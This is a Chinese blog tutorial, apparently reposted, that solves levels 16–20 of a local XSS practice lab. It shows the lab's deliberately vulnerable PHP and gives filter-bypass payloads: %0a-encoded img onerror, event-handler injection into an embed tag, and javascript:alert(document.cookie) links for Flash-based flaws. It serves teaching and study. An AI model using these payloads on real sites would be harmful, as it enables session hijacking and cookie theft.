07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)

Posted 07v8论安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)相关的知识,希望对你有一定的参考价值。

欢迎关注:07v8论安全 技术干货等你来

这是07v8的第 27 篇技术文章 希望对您有用

简单代码审计带你基础入门XSS(完结)


第十六关:

 

http://127.0.0.1/xss/level16.php?keyword=test



源代码:


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script"," ",$str);

$str3=str_replace(" "," ",$str2);

$str4=str_replace("/"," ",$str3);

$str5=str_replace(" "," ",$str4);

echo "<center>".$str5."</center>";

?>

<center><img src=level16.png></center>

<?php

echo "<h3>payload的长度:".strlen($str5)."</h3>";

?>

 


分析:

 

这里使用strtolower()函数过滤防止大小写绕过,但是这关的代码跟之前关卡不同的是,此关添加了两段新匹配的规则


$str3=str_replace(" "," ",$str2); //匹配空格替换成 实体编码


$str4=str_replace("/"," ",$str3); //匹配”/”符号替换成 实体编码


html中的作用是空格占位符,也就是说


接下来的payload不能出现”空格”,”/”符号


但是一段js代码闭合要用到”/”符号的


还有其他payload都是需要用到空格的,但是可以考虑下url编码


url编码的空格编码是%0a


故payload: <img%0asrc=x%0aonerror=alert(1)>


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


科普下%0a编码,其实还有个%0d,合起来就


是%0a%0d


这种编码常见运用在CRLF 注入,也可以简称为HRS 


(有点题外话了,继续闯关)

 


第十七关:

 

http://127.0.0.1/xss/level17.php?arg01=a&arg02=b


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


这一关不管你成不成功,点击进入下一关就是下一关了


直接看源码分析弹框

 

源代码:


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


<?php

ini_set("display_errors", 0);

echo

"<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

?>

 


分析:

 

这里只有简单的几段php代码


这里运用了一个embed标签,embed可以用来插入各种多媒体


这里就引用了一个xsf01.swf文件,xsf01.swf需要反编译


本人能力有限做不了(抱住胖胖的自己不敢说话….)


arg01,跟arg02两个参数都使用了htmlspecialchars()函数输出

 

Mannix师傅给的payload是:

 

http://127.0.0.1/xss/level17.php?arg01=a&arg02=b onmouseover=alert`1`

 

鼠标移动到embed标签处触发XSS


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


接着我试了,onmousedown事件,onclick事件


都是可以弹框


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)
07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


科普下这个三个事件的区别:


onmouseover事件:鼠标指针移动到指定的对象上时会触发XSS

 

onmousedown事件:鼠标按键被按下时会触发XSS

 

onclick事件:onclick事件也是按下去是触发,单击事件是在同一元素上发生了鼠标按下事件之后又发生了鼠标放开事件时才发生的,所以说当按下onclick事件后会跳转到另一个页面

 


第十八关:

 

http://127.0.0.1/xss/level18.php?arg01=a&arg02=b


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


此关是跟上关一样,代码相同 


上一关的插入点是arg02,而这一关的插入点是arg01


使用相同payload可以绕过

 

故payload:http://127.0.0.1/xss/level18.php?arg01=a onmousedown=alert(2)&arg02=b

 

使用其他payload也可以,这里点击黑色方框触发XSS


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


第十九关:

 

http://127.0.0.1/xss/level19.php?arg01=a&arg02=b 


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


这关还是flash xss 

 

此关看了网上的大佬分析了,用了是JPEXS这款工具


发现是actionscript 2.0 的一个xss


在actionscript2.0/3.0中需要注意的几个函数是:


getURL  navigateToURL  ExternalInterface.call 


ExternalInterface.call  htmlText  addcallback等


此关直接定位是getURL函数处,最终定位到以下函数,解读下

 

function contentIsLink()

{

return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ")

 

==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);

 

}


这里是个javascript indexOf() 方法


判断content中是否以字符串”<a”开头并且是以”</a>”结尾

 

所以构造的payload如下:

 

<a href="javascript:alert(document.cookie)">QIANAN</a>

 

点击超链接触发XSS.


07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)


第二十关:

 

http://127.0.0.1/xss/level20.php?arg01=a&arg02=b(怎么又是这个url.....)


这关什么都没有,源代码还是一样,网上查了说了是一个


zeroclipboard.swf

 

漏洞描述:


    ZeroClipboard是通过flash+js实现复制到剪切板功能,浏览器兼容性好

 

   ZeroClipboard ZeroClipboard.swf存在跨站脚本漏洞


允许攻击者利用漏洞利用部分SWF查询参数通过注入任意WEB脚本或HTML代码,可获得敏感信息或劫持用户会话

  

参考了网上的Payload是:

 

http://127.0.0.1/xss/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height


本文完结


作者寄语:

 

          文章写的时候难免有点疏忽,或者写的payload不够好不够简洁。本身个人的代码能力也不强,欢迎在各位在本文留言下更好的paylaod。大牛勿喷,个人觉得这20关挺有意思的,都是一些常见的一些绕过思路与方式(不包括后面几关的XSF…..),挺好的一个XSS基础知识小游戏

                                                      感谢支持



感谢大家的阅读,以及对07V8的支持

每周都有精英讲师 学术分享 交流探讨


更多干货 敬请关注

以上是关于07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)的主要内容,如果未能解决你的问题,请参考以下文章

07V8第25篇技术分享|简单代码审计带你基础入门XSS

07V8第26篇技术分享|简单代码审计带你基础入门XSS

简单代码审计带你基础入门XSS

PHP代码审计入门-DVWA靶场暴力破解篇

一起来学PHP代码审计 | 新手入门篇

❤️0基础如何入门软件测试?10分钟从测试9个阶段带你快速入门❤️